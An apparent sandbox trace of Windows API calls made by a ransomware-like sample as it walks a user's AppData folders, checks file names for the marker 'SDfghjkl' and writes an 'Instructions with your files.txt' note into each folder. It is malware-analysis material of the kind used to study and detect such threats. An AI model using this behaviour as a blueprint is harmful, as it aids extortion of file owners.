[0130.853] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa45dff70, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xa45dff70, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xa45dff70, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.853] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\..") returned 62
[0130.853] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa45dff70, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xa45dff70, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xa45dff70, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.853] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\Instructions with your files.txt") returned 92
[0130.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wpdnse\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.854] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.855] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.855] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.855] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.855] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.855] CloseHandle (hObject=0x118) returned 1
[0130.855] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.855] GetProcessHeap () returned 0x810000
[0130.855] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.855] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x23de3e00, ftCreationTime.dwHighDateTime=0x1d5bf1a, ftLastAccessTime.dwLowDateTime=0x352ba2b0, ftLastAccessTime.dwHighDateTime=0x1d5b687, ftLastWriteTime.dwLowDateTime=0x352ba2b0, ftLastWriteTime.dwHighDateTime=0x1d5b687, nFileSizeHigh=0x0, nFileSizeLow=0x241e, dwReserved0=0x0, dwReserved1=0x0, cFileName="xVosTdimo4k.mp3", cAlternateFileName="XVOSTD~1.MP3")) returned 1
[0130.855] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\xVosTdimo4k.mp3") returned 68
[0130.855] StrStrIW (lpFirst="xVosTdimo4k.mp3", lpSrch="SDfghjkl") returned 0x0
[0130.855] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef75cb10, ftCreationTime.dwHighDateTime=0x1d5beb5, ftLastAccessTime.dwLowDateTime=0xe71344b0, ftLastAccessTime.dwHighDateTime=0x1d5ba74, ftLastWriteTime.dwLowDateTime=0xe71344b0, ftLastWriteTime.dwHighDateTime=0x1d5ba74, nFileSizeHigh=0x0, nFileSizeLow=0xbb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="YbOADzEQAb88fMQbiL-.gif", cAlternateFileName="YBOADZ~1.GIF")) returned 1
[0130.855] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YbOADzEQAb88fMQbiL-.gif") returned 76
[0130.855] StrStrIW (lpFirst="YbOADzEQAb88fMQbiL-.gif", lpSrch="SDfghjkl") returned 0x0
[0130.855] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dd9cd30, ftCreationTime.dwHighDateTime=0x1d5b9e0, ftLastAccessTime.dwLowDateTime=0x447b8f20, ftLastAccessTime.dwHighDateTime=0x1d5b707, ftLastWriteTime.dwLowDateTime=0x447b8f20, ftLastWriteTime.dwHighDateTime=0x1d5b707, nFileSizeHigh=0x0, nFileSizeLow=0x5796, dwReserved0=0x0, dwReserved1=0x0, cFileName="ymWt6.jpg", cAlternateFileName="")) returned 1
[0130.855] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ymWt6.jpg") returned 62
[0130.855] StrStrIW (lpFirst="ymWt6.jpg", lpSrch="SDfghjkl") returned 0x0
[0130.856] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3ea3510, ftCreationTime.dwHighDateTime=0x1d5c286, ftLastAccessTime.dwLowDateTime=0xc3ce4b40, ftLastAccessTime.dwHighDateTime=0x1d5b857, ftLastWriteTime.dwLowDateTime=0xc3ce4b40, ftLastWriteTime.dwHighDateTime=0x1d5b857, nFileSizeHigh=0x0, nFileSizeLow=0x43ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZCqaW3xv 4PkPtv.png", cAlternateFileName="ZCQAW3~1.PNG")) returned 1
[0130.856] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ZCqaW3xv 4PkPtv.png") returned 72
[0130.856] StrStrIW (lpFirst="ZCqaW3xv 4PkPtv.png", lpSrch="SDfghjkl") returned 0x0
[0130.856] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc667f4c0, ftCreationTime.dwHighDateTime=0x1d5b90e, ftLastAccessTime.dwLowDateTime=0xf4db9490, ftLastAccessTime.dwHighDateTime=0x1d5c559, ftLastWriteTime.dwLowDateTime=0xf4db9490, ftLastWriteTime.dwHighDateTime=0x1d5c559, nFileSizeHigh=0x0, nFileSizeLow=0x32c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu39rt9hw mfzdUPZq6.avi", cAlternateFileName="ZU39RT~1.AVI")) returned 1
[0130.856] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\zu39rt9hw mfzdUPZq6.avi") returned 76
[0130.856] StrStrIW (lpFirst="zu39rt9hw mfzdUPZq6.avi", lpSrch="SDfghjkl") returned 0x0
[0130.856] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc667f4c0, ftCreationTime.dwHighDateTime=0x1d5b90e, ftLastAccessTime.dwLowDateTime=0xf4db9490, ftLastAccessTime.dwHighDateTime=0x1d5c559, ftLastWriteTime.dwLowDateTime=0xf4db9490, ftLastWriteTime.dwHighDateTime=0x1d5c559, nFileSizeHigh=0x0, nFileSizeLow=0x32c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu39rt9hw mfzdUPZq6.avi", cAlternateFileName="ZU39RT~1.AVI")) returned 0
[0130.856] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Instructions with your files.txt") returned 85
[0130.856] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0130.856] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0130.857] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0130.857] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0130.857] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0130.857] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0130.857] CloseHandle (hObject=0x114) returned 1
[0130.857] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0130.857] GetProcessHeap () returned 0x810000
[0130.857] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.857] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
[0130.857] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned 72
[0130.857] GetProcessHeap () returned 0x810000
[0130.857] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0130.858] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*") returned 74
[0130.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc667f4c0, ftCreationTime.dwHighDateTime=0x1d5b90e, ftLastAccessTime.dwLowDateTime=0xf4db9490, ftLastAccessTime.dwHighDateTime=0x1d5c559, ftLastWriteTime.dwLowDateTime=0xf4db9490, ftLastWriteTime.dwHighDateTime=0x1d5c559, nFileSizeHigh=0x0, nFileSizeLow=0x32c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu39rt9hw mfzdUPZq6.avi", cAlternateFileName="Ȭ癙찐\x8a翿")) returned 0xffffffff
[0130.858] GetProcessHeap () returned 0x810000
[0130.858] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.858] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
[0130.858] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned 60
[0130.858] GetProcessHeap () returned 0x810000
[0130.858] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0130.858] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*") returned 62
[0130.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0130.858] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\.") returned 62
[0130.858] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.858] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\..") returned 63
[0130.858] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.858] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\Instructions with your files.txt") returned 93
[0130.858] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\virtualstore\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0130.859] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0130.859] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0130.860] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0130.860] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0130.860] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0130.860] CloseHandle (hObject=0x114) returned 1
[0130.860] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0130.860] GetProcessHeap () returned 0x810000
[0130.860] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.860] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
[0130.860] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Instructions with your files.txt") returned 80
[0130.860] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0130.860] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0130.861] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0130.861] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0130.861] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0130.861] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0130.861] CloseHandle (hObject=0x110) returned 1
[0130.862] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0130.862] GetProcessHeap () returned 0x810000
[0130.862] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8acc10 | out: hHeap=0x810000) returned 1
[0130.863] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1
[0130.863] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned 50
[0130.863] GetProcessHeap () returned 0x810000
[0130.863] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0130.863] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*") returned 52
[0130.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0130.863] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\.") returned 52
[0130.863] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.863] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\..") returned 53
[0130.863] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
[0130.863] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned 56
[0130.863] GetProcessHeap () returned 0x810000
[0130.863] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0130.863] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*") returned 58
[0130.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0130.864] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\.") returned 58
[0130.864] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
